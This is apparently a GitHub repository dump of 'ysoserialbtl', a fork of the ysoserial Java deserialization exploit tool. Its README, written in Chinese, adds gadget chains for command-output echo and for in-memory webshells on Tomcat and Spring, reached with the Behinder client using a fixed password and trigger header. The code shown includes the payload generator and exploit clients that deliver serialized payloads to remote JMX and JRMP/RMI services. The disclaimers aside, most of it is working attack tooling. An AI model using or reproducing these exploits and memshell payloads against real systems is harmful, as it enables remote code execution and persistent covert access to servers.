├── .gitignore ├── DISCLAIMER.txt ├── Dockerfile ├── LICENSE.txt ├── README.md ├── appveyor.yml ├── assembly.xml ├── imgs ├── 1.png └── 2.png ├── lib ├── annotations-api.jar ├── catalina-ant.jar ├── catalina-ha.jar ├── catalina-tribes.jar ├── catalina.jar ├── ecj-4.4.2.jar ├── el-api.jar ├── jasper-el.jar ├── jasper.jar ├── jsp-api.jar ├── servlet-api.jar ├── tomcat-api.jar ├── tomcat-coyote.jar ├── tomcat-dbcp.jar ├── tomcat-i18n-es.jar ├── tomcat-i18n-fr.jar ├── tomcat-i18n-ja.jar ├── tomcat-jdbc.jar ├── tomcat-util.jar ├── tomcat7-websocket.jar └── websocket-api.jar ├── pom.xml ├── src ├── main │ └── java │ │ ├── TEST.java │ │ └── ysoserial │ │ ├── Deserializer.java │ │ ├── GeneratePayload.java │ │ ├── Serializer.java │ │ ├── Strings.java │ │ ├── exploit │ │ ├── JBoss.java │ │ ├── JMXInvokeMBean.java │ │ ├── JRMPClassLoadingListener.java │ │ ├── JRMPClient.java │ │ ├── JRMPListener.java │ │ ├── JSF.java │ │ ├── JenkinsCLI.java │ │ ├── JenkinsListener.java │ │ ├── JenkinsReverse.java │ │ ├── RMIRegistryExploit.java │ │ └── Xstream.java │ │ ├── payloads │ │ ├── AspectJWeaver.java │ │ ├── BeanShell1.java │ │ ├── C3P0.java │ │ ├── Click1.java │ │ ├── Clojure.java │ │ ├── CommonsBeanutils1.java │ │ ├── CommonsBeanutils1Echo.java │ │ ├── CommonsBeanutils1SpringMemshell.java │ │ ├── CommonsBeanutils1TomcatMemshell.java │ │ ├── CommonsCollections1.java │ │ ├── CommonsCollections2.java │ │ ├── CommonsCollections2Echo.java │ │ ├── CommonsCollections2SpringMemshell.java │ │ ├── CommonsCollections2TomcatMemshell.java │ │ ├── CommonsCollections3.java │ │ ├── CommonsCollections3Echo.java │ │ ├── CommonsCollections3SpringMemshell.java │ │ ├── CommonsCollections3TomcatMemshell.java │ │ ├── CommonsCollections4.java │ │ ├── CommonsCollections4Echo.java │ │ ├── CommonsCollections4SpringMemshell.java │ │ ├── CommonsCollections4TomcatMemshell.java │ │ ├── CommonsCollections5.java │ │ ├── CommonsCollections6.java │ │ ├── CommonsCollections7.java │ │ ├── DynamicDependencies.java │ │ ├── FileUpload1.java │ │ ├── Groovy1.java │ │ ├── Hibernate1.java │ │ ├── Hibernate2.java │ │ ├── JBossInterceptors1.java │ │ ├── JRMPClient.java │ │ ├── JRMPListener.java │ │ ├── JSON1.java │ │ ├── JavassistWeld1.java │ │ ├── Jdk7u21.java │ │ ├── Jython1.java │ │ ├── MozillaRhino1.java │ │ ├── MozillaRhino2.java │ │ ├── Myfaces1.java │ │ ├── Myfaces2.java │ │ ├── ObjectPayload.java │ │ ├── ROME.java │ │ ├── ReleaseableObjectPayload.java │ │ ├── Spring1.java │ │ ├── Spring2.java │ │ ├── URLDNS.java │ │ ├── Vaadin1.java │ │ ├── Wicket1.java │ │ ├── annotation │ │ │ ├── Authors.java │ │ │ ├── Dependencies.java │ │ │ └── PayloadTest.java │ │ └── util │ │ │ ├── ClassFiles.java │ │ │ ├── Gadgets.java │ │ │ ├── JavaVersion.java │ │ │ ├── PayloadRunner.java │ │ │ └── Reflections.java │ │ ├── secmgr │ │ ├── DelegateSecurityManager.java │ │ └── ExecCheckingSecurityManager.java │ │ └── template │ │ ├── DFSEcho.java │ │ ├── DFSSpringMemShell.java │ │ ├── DFSTomcatMemShell.java │ │ ├── DynamicFilterTemplate.java │ │ └── DynamicInterceptorTemplate.java └── test │ └── java │ └── ysoserial │ ├── CiTest.java │ └── test │ ├── CustomDeserializer.java │ ├── CustomPayloadArgs.java │ ├── CustomTest.java │ ├── WrappedTest.java │ ├── exploit │ └── RMIRegistryExploitTest.java │ ├── payloads │ ├── CommandExecTest.java │ ├── FileUploadTest.java │ ├── JRMPReverseConnectSMTest.java │ ├── JRMPReverseConnectTest.java │ ├── MyfacesTest.java │ ├── PayloadsTest.java │ ├── RemoteClassLoadingTest.java │ └── TestHarnessTest.java │ └── util │ ├── Callables.java │ ├── Files.java │ ├── GadgetsTest.java │ ├── OS.java │ └── Throwables.java └── ysoserial.png /.gitignore: -------------------------------------------------------------------------------- 1 | *.class 2 | /target 3 | /.idea 4 | *.ser -------------------------------------------------------------------------------- /DISCLAIMER.txt: -------------------------------------------------------------------------------- 1 | DISCLAIMER 2 | 3 | This software has been created purely for the purposes of academic research and 4 | for the development of effective defensive techniques, and is not intended to be 5 | used to attack systems except where explicitly authorized. Project maintainers 6 | are not responsible or liable for misuse of the software. Use responsibly. -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM maven:3.5-jdk-8 as builder 2 | 3 | WORKDIR /app 4 | 5 | # download artifacts 6 | COPY pom.xml . 7 | COPY assembly.xml . 8 | RUN mvn dependency:resolve 9 | RUN mvn verify 10 | RUN mvn compiler:help 11 | 12 | # build 13 | COPY src ./src 14 | RUN mvn clean package -DskipTests 15 | RUN mv target/ysoserial-*all*.jar target/ysoserial.jar 16 | 17 | FROM java:8-jdk-alpine 18 | 19 | WORKDIR /app 20 | 21 | COPY --from=builder /app/target/ysoserial.jar . 22 | 23 | ENTRYPOINT ["java", "-jar", "ysoserial.jar"] 24 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013 Chris Frohoff 2 | 3 | MIT License 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining 6 | a copy of this software and associated documentation files (the 7 | "Software"), to deal in the Software without restriction, including 8 | without limitation the rights to use, copy, modify, merge, publish, 9 | distribute, sublicense, and/or sell copies of the Software, and to 10 | permit persons to whom the Software is furnished to do so, subject to 11 | the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be 14 | included in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 19 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 20 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 21 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 22 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # ysoserialbtl 3 | 4 | 用法与原生ysoserial完全一致,原生ysoserial生成的payload只能实现命令执行的效果,不能输出命令执行的结果,不能生成内存马。 5 | 6 | ysoserialbtl针对原生的CommonBeanutils1等链,新增了回显与内存马实现的思路。 7 | 8 | 1. CommonBeanutils1Echo, 回显命令执行的输出结果。 9 | 10 | ​ 利用方式是在header中增加btl,用于输入命令。 11 | 12 | ![image-20230317162513473](imgs/1.png) 13 | 14 | 2. CommonBeanutils1TomcatMemshell 15 | 16 | 利用方式是使用冰蝎进行链接/btltest,密码是123,增加header头X-Options-Bi: xxx,值可以随意 17 | 18 | ![image-20230317162513473](imgs/2.png) 19 | 20 | 3. CommonBeanutils1SpringMemshell 21 | 22 | 利用方式是使用冰蝎进行链接/xxx(任意地址),密码是123,增加header头X-Options-Bi: xxx,值可以随意 23 | 24 | ## 免责声明: 25 | 26 | 本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关。 27 | 28 | ### 中文版本: 29 | 30 | 本免责声明旨在明确指出,本文仅为技术交流、学习和研究之用,不得将文章中的技术用于任何非法目的或破坏行为。发表本文章的作者对于任何非法使用技术或对他人或系统造成的损害概不负责。 31 | 32 | 阅读和参考本文章时,您必须明确并承诺,不会利用文章中提供的技术来实施非法活动、侵犯他人的权益或对系统进行攻击。任何使用本文中的技术所导致的任何意外、损失或损害,包括但不限于数据损失、财产损失、法律责任等问题,都与发表本文章的作者无关。 33 | 34 | 本文提供的技术信息仅供学习和参考之用,不构成任何形式的担保或保证。发表本文章的作者不对技术的准确性、有效性或适用性做任何声明或保证。 35 | 36 | ### 英文版本: 37 | 38 | This disclaimer is intended to clearly state that this article is solely for the purpose of technical exchange, learning, and research, and the use of the techniques mentioned in the article for any illegal purposes or destructive actions is strictly prohibited. The author of this article shall not be held responsible for any consequences resulting from the misuse of the techniques mentioned. 39 | 40 | By reading and referring to this article, you must acknowledge and commit that you will not exploit the techniques provided in the article for any illegal activities, infringement of rights of others, or attacks on systems. The author of this article bears no responsibility for any accidents, losses, or damages caused by the use of the techniques mentioned in this article, including but not limited to data loss, property damage, legal liabilities, etc. 41 | 42 | The technical information provided in this article is for learning and reference purposes only and does not constitute any form of warranty or guarantee. The author of this article makes no representations or warranties regarding the accuracy, effectiveness, or applicability of the techniques mentioned. 43 | -------------------------------------------------------------------------------- /appveyor.yml: -------------------------------------------------------------------------------- 1 | # based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml 2 | 3 | # build version 4 | version: '{build}' 5 | 6 | # Do not build on tags 7 | skip_tags: true 8 | 9 | # enviroment settings 10 | environment: 11 | matrix: 12 | - JAVA_HOME: C:\Program Files\Java\jdk1.6.0 13 | M2_HOME: C:\bin\apache-maven-3.2.5 14 | - JAVA_HOME: C:\Program Files\Java\jdk1.7.0 15 | MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 16 | - JAVA_HOME: C:\Program Files\Java\jdk1.8.0 17 | 18 | matrix: 19 | allow_failures: 20 | - JAVA_HOME: C:\Program Files\Java\jdk1.6.0 21 | - JAVA_HOME: C:\Program Files\Java\jdk1.7.0 22 | 23 | # install required tools (maven, secure-file, encrypted files) 24 | install: 25 | - cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums 26 | - cmd: echo %JAVA_HOME% 27 | - cmd: echo %M2_HOME% 28 | 29 | # build and install artifacts 30 | build_script: 31 | - '"%M2_HOME%\bin\mvn" clean install -DskipTests' 32 | 33 | # verify artifacts 34 | test_script: 35 | - '"%M2_HOME%\bin\mvn" test' 36 | 37 | # preserve dependencies between builds 38 | cache: 39 | - C:\Users\appveyor\.m2 40 | - C:\bin\apache-maven-3.2.5 41 | -------------------------------------------------------------------------------- /assembly.xml: -------------------------------------------------------------------------------- 1 | 5 | fat-tests 6 | 7 | jar 8 | 9 | false 10 | 11 | 12 | / 13 | true 14 | true 15 | test 16 | 17 | 18 | 19 | 20 | ${project.build.directory}/test-classes 21 | / 22 | 23 | **/*.class 24 | 25 | true 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /imgs/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/imgs/1.png -------------------------------------------------------------------------------- /imgs/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/imgs/2.png -------------------------------------------------------------------------------- /lib/annotations-api.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/annotations-api.jar -------------------------------------------------------------------------------- /lib/catalina-ant.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/catalina-ant.jar -------------------------------------------------------------------------------- /lib/catalina-ha.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/catalina-ha.jar -------------------------------------------------------------------------------- /lib/catalina-tribes.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/catalina-tribes.jar -------------------------------------------------------------------------------- /lib/catalina.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/catalina.jar -------------------------------------------------------------------------------- /lib/ecj-4.4.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/ecj-4.4.2.jar -------------------------------------------------------------------------------- /lib/el-api.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/el-api.jar -------------------------------------------------------------------------------- /lib/jasper-el.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/jasper-el.jar -------------------------------------------------------------------------------- /lib/jasper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/jasper.jar -------------------------------------------------------------------------------- /lib/jsp-api.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/jsp-api.jar -------------------------------------------------------------------------------- /lib/servlet-api.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/servlet-api.jar -------------------------------------------------------------------------------- /lib/tomcat-api.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/tomcat-api.jar -------------------------------------------------------------------------------- /lib/tomcat-coyote.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/tomcat-coyote.jar -------------------------------------------------------------------------------- /lib/tomcat-dbcp.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/tomcat-dbcp.jar -------------------------------------------------------------------------------- /lib/tomcat-i18n-es.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/tomcat-i18n-es.jar -------------------------------------------------------------------------------- /lib/tomcat-i18n-fr.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/tomcat-i18n-fr.jar -------------------------------------------------------------------------------- /lib/tomcat-i18n-ja.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/tomcat-i18n-ja.jar -------------------------------------------------------------------------------- /lib/tomcat-jdbc.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/tomcat-jdbc.jar -------------------------------------------------------------------------------- /lib/tomcat-util.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/tomcat-util.jar -------------------------------------------------------------------------------- /lib/tomcat7-websocket.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/tomcat7-websocket.jar -------------------------------------------------------------------------------- /lib/websocket-api.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/lib/websocket-api.jar -------------------------------------------------------------------------------- /src/main/java/TEST.java: -------------------------------------------------------------------------------- 1 | import ysoserial.payloads.*; 2 | import ysoserial.payloads.util.PayloadRunner; 3 | 4 | public class TEST { 5 | public static void main(String[] args) throws Exception { 6 | // PayloadRunner.run(URLDNS.class, new String[]{"http://102.6r8sbr.dnslog.cn"}); 7 | PayloadRunner.run(CommonsBeanutils1Echo.class, new String[]{"cmd"}); 8 | // PayloadRunner.run(CommonsBeanutils1.class, new String[]{"open -na Calculator"}); 9 | // PayloadRunner.run(CommonsBeanutils1TomcatMemshell.class, new String[]{"cmd"}); 10 | // PayloadRunner.run(CommonsCollections3.class, new String[]{"open -na Calculator"}); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/Deserializer.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.File; 5 | import java.io.FileInputStream; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.io.ObjectInputStream; 9 | import java.util.concurrent.Callable; 10 | 11 | public class Deserializer implements Callable { 12 | private final byte[] bytes; 13 | 14 | public Deserializer(byte[] bytes) { this.bytes = bytes; } 15 | 16 | public Object call() throws Exception { 17 | return deserialize(bytes); 18 | } 19 | 20 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { 21 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 22 | return deserialize(in); 23 | } 24 | 25 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { 26 | final ObjectInputStream objIn = new ObjectInputStream(in); 27 | return objIn.readObject(); 28 | } 29 | 30 | public static void main(String[] args) throws ClassNotFoundException, IOException { 31 | final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); 32 | Object object = deserialize(in); 33 | } 34 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/GeneratePayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.PrintStream; 4 | import java.util.*; 5 | 6 | import ysoserial.payloads.ObjectPayload; 7 | import ysoserial.payloads.ObjectPayload.Utils; 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | 11 | @SuppressWarnings("rawtypes") 12 | public class GeneratePayload { 13 | private static final int INTERNAL_ERROR_CODE = 70; 14 | private static final int USAGE_CODE = 64; 15 | 16 | public static void main(final String[] args) { 17 | if (args.length != 2) { 18 | printUsage(); 19 | System.exit(USAGE_CODE); 20 | } 21 | final String payloadType = args[0]; 22 | final String command = args[1]; 23 | 24 | final Class payloadClass = Utils.getPayloadClass(payloadType); 25 | if (payloadClass == null) { 26 | System.err.println("Invalid payload type '" + payloadType + "'"); 27 | printUsage(); 28 | System.exit(USAGE_CODE); 29 | return; // make null analysis happy 30 | } 31 | 32 | try { 33 | final ObjectPayload payload = payloadClass.newInstance(); 34 | final Object object = payload.getObject(command); 35 | PrintStream out = System.out; 36 | Serializer.serialize(object, out); 37 | ObjectPayload.Utils.releasePayload(payload, object); 38 | } catch (Throwable e) { 39 | System.err.println("Error while generating or serializing payload"); 40 | e.printStackTrace(); 41 | System.exit(INTERNAL_ERROR_CODE); 42 | } 43 | System.exit(0); 44 | } 45 | 46 | private static void printUsage() { 47 | System.err.println("Y SO SERIAL?"); 48 | System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'"); 49 | System.err.println(" Available payload types:"); 50 | 51 | final List> payloadClasses = 52 | new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); 53 | Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize 54 | 55 | final List rows = new LinkedList(); 56 | rows.add(new String[] {"Payload", "Authors", "Dependencies"}); 57 | rows.add(new String[] {"-------", "-------", "------------"}); 58 | for (Class payloadClass : payloadClasses) { 59 | rows.add(new String[] { 60 | payloadClass.getSimpleName(), 61 | Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), 62 | Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "") 63 | }); 64 | } 65 | 66 | final List lines = Strings.formatTable(rows); 67 | 68 | for (String line : lines) { 69 | System.err.println(" " + line); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/Serializer.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.ObjectOutputStream; 6 | import java.io.OutputStream; 7 | import java.util.concurrent.Callable; 8 | 9 | public class Serializer implements Callable { 10 | private final Object object; 11 | public Serializer(Object object) { 12 | this.object = object; 13 | } 14 | 15 | public byte[] call() throws Exception { 16 | return serialize(object); 17 | } 18 | 19 | public static byte[] serialize(final Object obj) throws IOException { 20 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 21 | serialize(obj, out); 22 | return out.toByteArray(); 23 | } 24 | 25 | public static void serialize(final Object obj, final OutputStream out) throws IOException { 26 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 27 | objOut.writeObject(obj); 28 | } 29 | 30 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/Strings.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import org.apache.commons.lang.StringUtils; 4 | 5 | import java.util.Arrays; 6 | import java.util.Comparator; 7 | import java.util.LinkedList; 8 | import java.util.List; 9 | 10 | public class Strings { 11 | public static String join(Iterable strings, String sep, String prefix, String suffix) { 12 | final StringBuilder sb = new StringBuilder(); 13 | boolean first = true; 14 | for (String s : strings) { 15 | if (! first) sb.append(sep); 16 | if (prefix != null) sb.append(prefix); 17 | sb.append(s); 18 | if (suffix != null) sb.append(suffix); 19 | first = false; 20 | } 21 | return sb.toString(); 22 | } 23 | 24 | public static String repeat(String str, int num) { 25 | final String[] strs = new String[num]; 26 | Arrays.fill(strs, str); 27 | return join(Arrays.asList(strs), "", "", ""); 28 | } 29 | 30 | public static List formatTable(List rows) { 31 | final Integer[] maxLengths = new Integer[rows.get(0).length]; 32 | for (String[] row : rows) { 33 | if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); 34 | for (int i = 0; i < maxLengths.length; i++) { 35 | if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { 36 | maxLengths[i] = row[i].length(); 37 | } 38 | } 39 | } 40 | 41 | final List lines = new LinkedList(); 42 | for (String[] row : rows) { 43 | for (int i = 0; i < maxLengths.length; i++) { 44 | final String pad = repeat(" ", maxLengths[i] - row[i].length()); 45 | row[i] = row[i] + pad; 46 | } 47 | lines.add(join(Arrays.asList(row), " ", "", "")); 48 | } 49 | return lines; 50 | } 51 | 52 | public static class ToStringComparator implements Comparator { 53 | public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JMXInvokeMBean.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | import javax.management.MBeanServerConnection; 4 | import javax.management.ObjectName; 5 | import javax.management.remote.JMXConnector; 6 | import javax.management.remote.JMXConnectorFactory; 7 | import javax.management.remote.JMXServiceURL; 8 | 9 | import ysoserial.payloads.ObjectPayload.Utils; 10 | 11 | /* 12 | * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. 13 | * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. 14 | * 15 | */ 16 | public class JMXInvokeMBean { 17 | 18 | public static void main(String[] args) throws Exception { 19 | 20 | if ( args.length < 4 ) { 21 | System.err.println(JMXInvokeMBean.class.getName() + " "); 22 | System.exit(-1); 23 | } 24 | 25 | JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); 26 | 27 | JMXConnector jmxConnector = JMXConnectorFactory.connect(url); 28 | MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); 29 | 30 | // create the payload 31 | Object payloadObject = Utils.makePayloadObject(args[2], args[3]); 32 | ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); 33 | 34 | mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); 35 | 36 | //close the connection 37 | jmxConnector.close(); 38 | } 39 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | 5 | import java.net.URL; 6 | 7 | 8 | /** 9 | * JRMP listener triggering RMI remote classloading 10 | * 11 | * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. 12 | * 13 | * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need 14 | * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}. 15 | * 16 | * This only works if 17 | * - the remote end is running with a security manager 18 | * - java.rmi.server.useCodebaseOnly=false (default until 7u21) 19 | * - the remote has the proper permissions to remotely load the class (mostly URLPermission) 20 | * 21 | * and, of course, the payload class is then run under the security manager with a remote codebase 22 | * so either the policy needs to allow whatever you want to do in the payload or you need to combine 23 | * with a security manager bypass exploit (wouldn't be the first time). 24 | * 25 | * @author mbechler 26 | * 27 | */ 28 | public class JRMPClassLoadingListener { 29 | 30 | public static final void main ( final String[] args ) { 31 | 32 | if ( args.length < 3 ) { 33 | System.err.println(JRMPClassLoadingListener.class.getName() + " "); 34 | System.exit(-1); 35 | return; 36 | } 37 | 38 | try { 39 | int port = Integer.parseInt(args[ 0 ]); 40 | System.err.println("* Opening JRMP listener on " + port); 41 | JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); 42 | c.run(); 43 | } 44 | catch ( Exception e ) { 45 | System.err.println("Listener error"); 46 | e.printStackTrace(System.err); 47 | } 48 | } 49 | 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JRMPClient.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | import java.io.DataOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectOutputStream; 7 | import java.io.OutputStream; 8 | import java.net.InetSocketAddress; 9 | import java.net.Socket; 10 | import java.net.SocketException; 11 | import java.net.URL; 12 | import java.net.URLClassLoader; 13 | import java.net.UnknownHostException; 14 | 15 | import javax.net.SocketFactory; 16 | 17 | import sun.rmi.transport.TransportConstants; 18 | import ysoserial.payloads.ObjectPayload.Utils; 19 | 20 | 21 | /** 22 | * Generic JRMP client 23 | * 24 | * Pretty much the same thing as {@link RMIRegistryExploit} but 25 | * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) 26 | * - not deserializing anything (so you don't get yourself exploited ;)) 27 | * 28 | * @author mbechler 29 | * 30 | */ 31 | @SuppressWarnings ( { 32 | "restriction" 33 | } ) 34 | public class JRMPClient { 35 | 36 | public static final void main ( final String[] args ) { 37 | if ( args.length < 4 ) { 38 | System.err.println(JRMPClient.class.getName() + " "); 39 | System.exit(-1); 40 | } 41 | 42 | Object payloadObject = Utils.makePayloadObject(args[2], args[3]); 43 | String hostname = args[ 0 ]; 44 | int port = Integer.parseInt(args[ 1 ]); 45 | try { 46 | System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); 47 | makeDGCCall(hostname, port, payloadObject); 48 | } 49 | catch ( Exception e ) { 50 | e.printStackTrace(System.err); 51 | } 52 | Utils.releasePayload(args[2], payloadObject); 53 | } 54 | 55 | public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { 56 | InetSocketAddress isa = new InetSocketAddress(hostname, port); 57 | Socket s = null; 58 | DataOutputStream dos = null; 59 | try { 60 | s = SocketFactory.getDefault().createSocket(hostname, port); 61 | s.setKeepAlive(true); 62 | s.setTcpNoDelay(true); 63 | 64 | OutputStream os = s.getOutputStream(); 65 | dos = new DataOutputStream(os); 66 | 67 | dos.writeInt(TransportConstants.Magic); 68 | dos.writeShort(TransportConstants.Version); 69 | dos.writeByte(TransportConstants.SingleOpProtocol); 70 | 71 | dos.write(TransportConstants.Call); 72 | 73 | @SuppressWarnings ( "resource" ) 74 | final ObjectOutputStream objOut = new MarshalOutputStream(dos); 75 | 76 | objOut.writeLong(2); // DGC 77 | objOut.writeInt(0); 78 | objOut.writeLong(0); 79 | objOut.writeShort(0); 80 | 81 | objOut.writeInt(1); // dirty 82 | objOut.writeLong(-669196253586618813L); 83 | 84 | objOut.writeObject(payloadObject); 85 | 86 | os.flush(); 87 | } 88 | finally { 89 | if ( dos != null ) { 90 | dos.close(); 91 | } 92 | if ( s != null ) { 93 | s.close(); 94 | } 95 | } 96 | } 97 | 98 | static final class MarshalOutputStream extends ObjectOutputStream { 99 | 100 | 101 | private URL sendUrl; 102 | 103 | public MarshalOutputStream (OutputStream out, URL u) throws IOException { 104 | super(out); 105 | this.sendUrl = u; 106 | } 107 | 108 | MarshalOutputStream ( OutputStream out ) throws IOException { 109 | super(out); 110 | } 111 | 112 | @Override 113 | protected void annotateClass ( Class cl ) throws IOException { 114 | if ( this.sendUrl != null ) { 115 | writeObject(this.sendUrl.toString()); 116 | } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { 117 | writeObject(null); 118 | } 119 | else { 120 | URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); 121 | String cb = ""; 122 | 123 | for ( URL u : us ) { 124 | cb += u.toString(); 125 | } 126 | writeObject(cb); 127 | } 128 | } 129 | 130 | 131 | /** 132 | * Serializes a location from which to load the specified class. 133 | */ 134 | @Override 135 | protected void annotateProxyClass ( Class cl ) throws IOException { 136 | annotateClass(cl); 137 | } 138 | } 139 